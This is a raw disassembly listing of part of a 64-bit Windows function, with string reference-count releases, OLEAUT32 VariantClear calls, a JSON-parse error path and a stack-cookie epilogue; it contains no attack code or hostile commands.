mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x1400675bc
mov r12d, esi
mov dword [rsp + 0xb4], esi
mov dword [rsp + 0x100], 0xffffffff
test rbx, rbx
je 0x140067530
mov r9, rbx
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0x100]
call fcn.140049fe0
movzx r13d, al
mov byte [rsp + 0x7a], al
call fcn.140061c20
test al, al
jne 0x140067518
mov ecx, 0x28
call fcn.1400cd108
mov r15, rax
mov qword [rsp + 0xe40], rax
mov ebx, edi
mov dword [rsp + 0x1c4], ebx
cmp ebx, 0xa
jge 0x140067506
call fcn.1400ce478
mov ecx, eax
add ecx, dword [0x1401c3d80]
movsxd rax, ebx
mov dword [r15 + rax*4], ecx
inc ebx
jmp 0x1400674e2
mov eax, dword [r15 + 0x24]
mov dword [0x1401c3d80], eax
mov rcx, r15
call fcn.1400cebfc
mov eax, dword [rsp + 0x100]
cmp eax, 0xffffffff
je 0x14006758e
mov r12d, eax
mov dword [rsp + 0xb4], eax
jmp 0x14006758e
lea rax, [rsp + 0x7b0]
mov qword [rsp + 0xe50], rax
lea rdx, [0x14014c7f8]
lea rcx, [rsp + 0x7b0]
call fcn.140002110
nop
mov qword [rsp + 0x20], rax
mov r9, qword [0x1401bed48]
lea r8, [rsp + 0xe8]
lea rdx, [rsp + 0xc8]
lea rcx, [rsp + 0xb4]
call fcn.14004a3a0
movzx r13d, al
mov byte [rsp + 0x7a], al
mov r12d, dword [rsp + 0xb4]
cmp r12d, 0xffffffff
jne 0x1400675aa
test r13b, r13b
jne 0x1400675aa
mov word [r14 + 8], di
mov r12d, 0xb
mov word [r14], r12w
jmp 0x1400675b7
mov dword [r14 + 8], r12d
mov eax, 0x16
mov word [r14], ax
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0xc8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7c0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400675ed
mov rdx, qword [rsp + 0x7c0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
mov rcx, qword [rsp + 0xe8]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7d0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006762d
mov rdx, qword [rsp + 0x7d0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
jmp 0x14006762d
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
mov rdi, qword [rsp + 0x40]
lea rcx, [rsp + 0x48]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5340]
call fcn.1400013b0
nop
lea rcx, [rsp + 0x70]
call fcn.1400021b0
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
mov bl, 1
jmp 0x14006777d
lea rdx, str.json_parse_action_not_found
lea rcx, [rsp + 0x368]
call fcn.1400030b0
nop
lea rdx, [rsp + 0x368]
mov rcx, qword [r13 + 0x40]
call fcn.14005cd70
nop
mov rcx, qword [rsp + 0x368]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7e0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x1400676c9
mov rdx, qword [rsp + 0x7e0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
cmp qword [rsp + 0x5358], 0x10
jb 0x1400676e1
mov rcx, qword [rsp + 0x5340]
call fcn.1400cdaa0
mov qword [rsp + 0x5358], 0xf
mov qword [rsp + 0x5350], rdi
mov byte [rsp + 0x5340], 0
mov rcx, qword [rsp + 0x70]
add rcx, 0xffffffffffffffe8
mov qword [rsp + 0x7f0], rcx
mov eax, esi
lock xadd dword [rcx + 0x10], eax
dec eax
jg 0x14006772b
mov rdx, qword [rsp + 0x7f0]
mov rcx, qword [rdx]
mov rax, qword [rcx]
call qword [rax + reloc.OLEAUT32.dll_VariantClear]
nop
lea rcx, [rsp + 0x5470]
call fcn.140019030
nop
lea rcx, [rsp + 0x58]
call fcn.140038cf0
nop
xor bl, bl
mov r15d, 1
mov rdi, qword [rsp + 0x40]
jmp 0x140067774
test bl, bl
jne 0x14006777d
test r14, r14
je 0x14006777d
mov word [r14], r15w
mov rdx, qword [rdi]
sub rdx, 0x18
lock xadd dword [rdx + 0x10], esi
dec esi
jg 0x140067797
mov rcx, qword [rdx]
mov r8, qword [rcx]
call qword [rreloc.OLEAUT32.dll_VariantClear + 8]
movzx eax, bl
mov rcx, qword [rsp + 0x5d90]
xor rcx, rsp
call fcn.1400cdac0
add rsp, 0x5da0
pop r15
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbx
ret